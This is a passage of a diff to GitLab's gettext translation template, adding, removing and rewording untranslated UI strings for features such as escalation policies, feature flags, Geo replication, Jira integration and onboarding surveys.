+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
